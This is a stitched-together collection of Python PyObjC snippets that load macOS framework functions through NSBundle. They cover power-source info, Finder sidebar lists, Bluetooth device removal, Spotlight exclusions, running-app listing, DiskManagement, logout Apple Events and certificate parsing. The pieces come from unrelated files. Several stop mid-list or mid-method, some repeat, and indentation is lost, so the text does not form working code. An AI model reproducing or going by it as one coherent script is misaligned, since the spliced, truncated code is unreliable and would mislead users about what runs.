IOKit = NSBundle.bundleWithIdentifier_('com.apple.framework.IOKit')
functions = [
("IOPSGetPowerSourceDescription", b"@@@"),
("IOPSCopyPowerSourcesInfo", b"@"),
("IOPSCopyPowerSourcesList", b"@@"),
("IOPSGetProvidingPowerSourceType", b"@@"),
]
# No idea why PyLint complains about objc.loadBundleFunctions
# pylint: disable=no-member
objc.loadBundleFunctions(IOKit, globals(), functions)
# pylint: enable=no-member
# Disable PyLint complaining about 'invalid' camelCase names
# pylint: disable=C0103
#!/usr/bin/python
from objc import loadBundleFunctions, initFrameworkWrapper, pathForFramework
from platform import mac_ver
from Cocoa import NSURL
from CoreFoundation import CFPreferencesAppSynchronize, CFURLCreateWithString, kCFAllocatorDefault
from LaunchServices import kLSSharedFileListFavoriteItems
from Foundation import NSBundle
os_vers = int(mac_ver()[0].split('.')[1])
if os_vers > 10:
SFL_bundle = NSBundle.bundleWithIdentifier_(
'com.apple.coreservices.SharedFileList')
functions = [
('LSSharedFileListCreate',
'^{OpaqueLSSharedFileListRef=}^{__CFAllocator=}^{__CFString=}@'),
('LSSharedFileListCopySnapshot',
'^{__CFArray=}^{OpaqueLSSharedFileListRef=}o^I'),
('LSSharedFileListItemCopyDisplayName',
'^{__CFString=}^{OpaqueLSSharedFileListItemRef=}'),
('LSSharedFileListItemResolve',
'i^{OpaqueLSSharedFileListItemRef=}Io^^{__CFURL=}o^{FSRef=[80C]}'),
('LSSharedFileListItemMove',
'i^{OpaqueLSSharedFileListRef=}^{OpaqueLSSharedFileListItemRef=}^{OpaqueLSSharedFileListItemRef=}'
),
('LSSharedFileListItemRemove',
'i^{OpaqueLSSharedFileListRef=}^{OpaqueLSSharedFileListItemRef=}'),
('LSSharedFileListRemoveAllItems', 'i^{OpaqueLSSharedFileListRef=}'),
('LSSharedFileListInsertItemURL',
'^{OpaqueLSSharedFileListItemRef=}^{OpaqueLSSharedFileListRef=}^{OpaqueLSSharedFileListItemRef=}^{__CFString=}^{OpaqueIconRef=}^{__CFURL=}^{__CFDictionary=}^{__CFArray=}'
#!/usr/bin/python
from Foundation import NSBundle
IOBluetooth = NSBundle.bundleWithIdentifier_('com.apple.Bluetooth')
IOBluetoothDevice = IOBluetooth.classNamed_('IOBluetoothDevice')
# remove configured devices
try:
devices = list(IOBluetoothDevice.configuredDevices())
except:
devices = []
for device in devices:
try:
device.remove()
except:
pass
# remove paired devices
try:
devices = list(IOBluetoothDevice.pairedDevices())
except:
devices = []
for device in devices:
try:
device.remove()
except:
pass
# remove favorite devices
try:
devices = list(IOBluetoothDevice.favoriteDevices())
#!/usr/bin/python
# ref: https://gist.github.com/pudquick/f150b59dd68500099a56184dc25f1300
# Only tested on OSX 10.11.5
import objc
from Foundation import NSBundle
Metadata_bundle = NSBundle.bundleWithIdentifier_('com.apple.Metadata')
functions = [
('_MDCopyExclusionList', '@'),
('_MDSetExclusion', '@@I'),
]
objc.loadBundleFunctions(Metadata_bundle, globals(), functions)
# get the current exclusions (returns list of path strings)
current_exclusions = _MDCopyExclusionList()
# add an exclusion for a path
result = _MDSetExclusion('/Path/We/Want/To/Exclude', 1)
# remove an exclusion for a path
result = _MDSetExclusion('/Path/We/No/Longer/Want/To/Exclude', 0)
#!/usr/bin/python
#ref: https://gist.github.com/pudquick/eebc4d569100c8e3039bf3eae56bee4c
from Foundation import NSBundle
import objc
CoreServices = NSBundle.bundleWithIdentifier_('com.apple.CoreServices')
functions = [
('_LSCopyRunningApplicationArray', '@I'),
('_LSCopyApplicationInformation', '@I@@'),
]
constants = [
('_kLSApplicationTypeKey', '@'),
('_kLSApplicationForegroundTypeKey', '@'),
('_kLSDisplayNameKey', '@')
]
objc.loadBundleFunctions(CoreServices, globals(), functions)
objc.loadBundleVariables(CoreServices, globals(), constants)
apps = _LSCopyRunningApplicationArray(0xfffffffe)
app_infos = [_LSCopyApplicationInformation(0xffffffff, x, None) for x in apps]
visible_app_infos = [x for x in app_infos if x.get(_kLSApplicationTypeKey, None) == _kLSApplicationForegroundTypeKey]
visible_apps = sorted([x.get(_kLSDisplayNameKey) for x in visible_app_infos])
#print visible_app_infos
print visible_apps
import objc
from Foundation import NSBundle
# Predefine some opaque types
DASessionRef = objc.createOpaquePointerType('DASessionRef', '^{__DASession=}', None)
DADiskRef = objc.createOpaquePointerType('DADiskRef', '^{__DADisk=}', None)
# Load DiskManagement framework classes
DiskManagment = objc.loadBundle('DiskManagment', globals(), bundle_path='/System/Library/PrivateFrameworks/DiskManagement.framework')
# Load DiskArbitration framework functions
DiskArbitration_bundle = NSBundle.bundleWithIdentifier_('com.apple.DiskArbitration')
functions = [
('DASessionCreate', '@o@'),
('DADiskGetBSDName', '*^{__DADisk=}'),
]
objc.loadBundleFunctions(DiskArbitration_bundle, globals(), functions)
class diskRef(object):
def __init__(self, dObj, controller, rawRef=False):
if rawRef:
self.cf_type = objc.objc_object(c_void_p=dObj.__pointer__)
self.ref_type = dObj
else:
self.cf_type = dObj
self.ref_type = DADiskRef(c_void_p=(dObj.__c_void_p__().value))
self.controller = controller
def __repr__(self):
return self.cf_type.__repr__()
@property
def devname(self):
#!/usr/bin/python
# ref: https://gist.github.com/pudquick/f150b59dd68500099a56184dc25f1300
# Only tested on OSX 10.11.5
import objc
from Foundation import NSBundle
Metadata_bundle = NSBundle.bundleWithIdentifier_('com.apple.Metadata')
functions = [
('_MDCopyExclusionList', '@'),
('_MDSetExclusion', '@@I'),
]
objc.loadBundleFunctions(Metadata_bundle, globals(), functions)
# get the current exclusions (returns list of path strings)
current_exclusions = _MDCopyExclusionList()
# add an exclusion for a path
result = _MDSetExclusion('/Path/We/Want/To/Exclude', 1)
# remove an exclusion for a path
result = _MDSetExclusion('/Path/We/No/Longer/Want/To/Exclude', 0)
__author__ = 'thedzy'
__copyright__ = 'Copyright 2019, thedzy'
__license__ = 'GPL'
__version__ = '1.0'
__maintainer__ = 'thedzy'
__email__ = '*****@*****.**'
__status__ = 'Developer'
import struct
import objc
from Cocoa import NSAppleEventDescriptor
from Foundation import NSBundle
objc.loadBundleFunctions(NSBundle.bundleWithIdentifier_(
'com.apple.AE'
), globals(), [
('AESendMessage',
b'i^{AEDesc=I^^{OpaqueAEDataStorageType}}^{AEDesc=I^^{OpaqueAEDataStorageType}}iq'
),
])
def send_apple_event(event, app='com.apple.loginwindow'):
"""
Send an event code to an application
:param event: (String) Event code
Examples:
kAELogOut = logo
kAEReallyLogOut = rlgo
kAEShowRestartDialog = rrst
#!/usr/bin/python
from objc import loadBundleFunctions, initFrameworkWrapper, pathForFramework
from platform import mac_ver
from Cocoa import NSURL
from CoreFoundation import CFPreferencesAppSynchronize, CFURLCreateWithString, kCFAllocatorDefault
from LaunchServices import kLSSharedFileListFavoriteItems
from Foundation import NSBundle
os_vers = int(mac_ver()[0].split('.')[1])
if os_vers > 10:
SFL_bundle = NSBundle.bundleWithIdentifier_('com.apple.coreservices.SharedFileList')
functions = [('LSSharedFileListCreate', '^{OpaqueLSSharedFileListRef=}^{__CFAllocator=}^{__CFString=}@'),
('LSSharedFileListCopySnapshot', '^{__CFArray=}^{OpaqueLSSharedFileListRef=}o^I'),
('LSSharedFileListItemCopyDisplayName', '^{__CFString=}^{OpaqueLSSharedFileListItemRef=}'),
('LSSharedFileListItemResolve', 'i^{OpaqueLSSharedFileListItemRef=}Io^^{__CFURL=}o^{FSRef=[80C]}'),
('LSSharedFileListItemMove', 'i^{OpaqueLSSharedFileListRef=}^{OpaqueLSSharedFileListItemRef=}^{OpaqueLSSharedFileListItemRef=}'),
('LSSharedFileListItemRemove', 'i^{OpaqueLSSharedFileListRef=}^{OpaqueLSSharedFileListItemRef=}'),
('LSSharedFileListRemoveAllItems', 'i^{OpaqueLSSharedFileListRef=}'),
('LSSharedFileListInsertItemURL', '^{OpaqueLSSharedFileListItemRef=}^{OpaqueLSSharedFileListRef=}^{OpaqueLSSharedFileListItemRef=}^{__CFString=}^{OpaqueIconRef=}^{__CFURL=}^{__CFDictionary=}^{__CFArray=}'),
('kLSSharedFileListItemBeforeFirst', '^{OpaqueLSSharedFileListItemRef=}'),]
loadBundleFunctions(SFL_bundle, globals(), functions)
else:
from LaunchServices import kLSSharedFileListItemBeforeFirst, LSSharedFileListCreate, LSSharedFileListCopySnapshot, LSSharedFileListItemCopyDisplayName, LSSharedFileListItemResolve, LSSharedFileListItemMove, LSSharedFileListItemRemove, LSSharedFileListRemoveAllItems, LSSharedFileListInsertItemURL
# Shoutout to Mike Lynn for the mount_share function below, allowing for the scripting of mounting network shares.
# See his blog post for more details: http://michaellynn.github.io/2015/08/08/learn-you-a-better-pyobjc-bridgesupport-signature/
class attrdict(dict):
__getattr__ = dict.__getitem__
__setattr__ = dict.__setitem__
#!/usr/bin/python
## ref: https://gist.github.com/pudquick/5f1baad30024a898e9f2115ac9b0c631
import objc
from Foundation import NSBundle
# Predefine some opaque types
DASessionRef = objc.createOpaquePointerType('DASessionRef', '^{__DASession=}', None)
DADiskRef = objc.createOpaquePointerType('DADiskRef', '^{__DADisk=}', None)
# Load DiskManagement framework classes
DiskManagment = objc.loadBundle('DiskManagment', globals(), bundle_path='/System/Library/PrivateFrameworks/DiskManagement.framework')
# Load DiskArbitration framework functions
DiskArbitration_bundle = NSBundle.bundleWithIdentifier_('com.apple.DiskArbitration')
functions = [
('DASessionCreate', '@o@'),
('DADiskGetBSDName', '*^{__DADisk=}'),
]
objc.loadBundleFunctions(DiskArbitration_bundle, globals(), functions)
class diskRef(object):
def __init__(self, dObj, controller, rawRef=False):
if rawRef:
self.cf_type = objc.objc_object(c_void_p=dObj.__pointer__)
self.ref_type = dObj
else:
self.cf_type = dObj
self.ref_type = DADiskRef(c_void_p=(dObj.__c_void_p__().value))
self.controller = controller
def __repr__(self):
def cf_network_version(self):
return NSBundle.bundleWithIdentifier_("com.apple.CFNetwork").infoDictionary().get("CFBundleVersion").strip()
'''
Python mapping for the BWToolkit framework.
'''
import os.path
from Foundation import NSBundle
import objc
objc.loadBundle("BWToolkitFramework",
globals(),
bundle_path=objc.pathForFramework(
os.path.join(
NSBundle.bundleWithIdentifier_('com.onecrayon.tea.espresso').bundlePath(),
"Contents",
"Frameworks",
"BWToolkitFramework.framework"
)
)
)
try:
import objc
except ImportError:
subprocess.run(["pip3", "install", "pyobjc"], stdout=subprocess.PIPE)
try:
import objc
except ImportError:
raise Exception(
"Missing PyObjc library!\nPlease run the following before starting OCLP:\npip3 install pyobjc"
)
from CoreFoundation import CFRelease, kCFAllocatorDefault # type: ignore # pylint: disable=no-name-in-module
from Foundation import NSBundle # type: ignore # pylint: disable=no-name-in-module
from PyObjCTools import Conversion
IOKit_bundle = NSBundle.bundleWithIdentifier_("com.apple.framework.IOKit")
# pylint: disable=invalid-name
io_name_t_ref_out = b"[128c]" # io_name_t is char[128]
const_io_name_t_ref_in = b"r*"
CFStringRef = b"^{__CFString=}"
CFDictionaryRef = b"^{__CFDictionary=}"
CFAllocatorRef = b"^{__CFAllocator=}"
# pylint: enable=invalid-name
# https://developer.apple.com/library/archive/documentation/Cocoa/Conceptual/ObjCRuntimeGuide/Articles/ocrtTypeEncodings.html
functions = [
("IORegistryEntryCreateCFProperties", b"IIo^@" + CFAllocatorRef + b"I"),
("IOServiceMatching", CFDictionaryRef + b"r*"),
("IOServiceGetMatchingServices", b"II" + CFDictionaryRef + b"o^I"),
("IOIteratorNext", b"II"),
#!/usr/bin/python
# ref: https://gist.github.com/pudquick/ad575cee6bb503d4d193da355d70d3e9
import ssl, base64, objc
from Foundation import NSBundle
Security = NSBundle.bundleWithIdentifier_('com.apple.security')
S_functions = [
('SecCertificateCreateWithData', '@@@'),
('SecCertificateCopyValues', '@@^@o^@'),
]
objc.loadBundleFunctions(Security, globals(), S_functions)
server_pem = ssl.get_server_certificate(('www.google.com', 443))
pem_lines = server_pem.splitlines()
pem_base64 = ''.join([x for x in pem_lines if 'CERTIFICATE---' not in x])
server_der = base64.b64decode(pem_base64)
server_cert = SecCertificateCreateWithData(None, buffer(server_der))
cert_details, errors = SecCertificateCopyValues(server_cert, None, None)
print cert_details
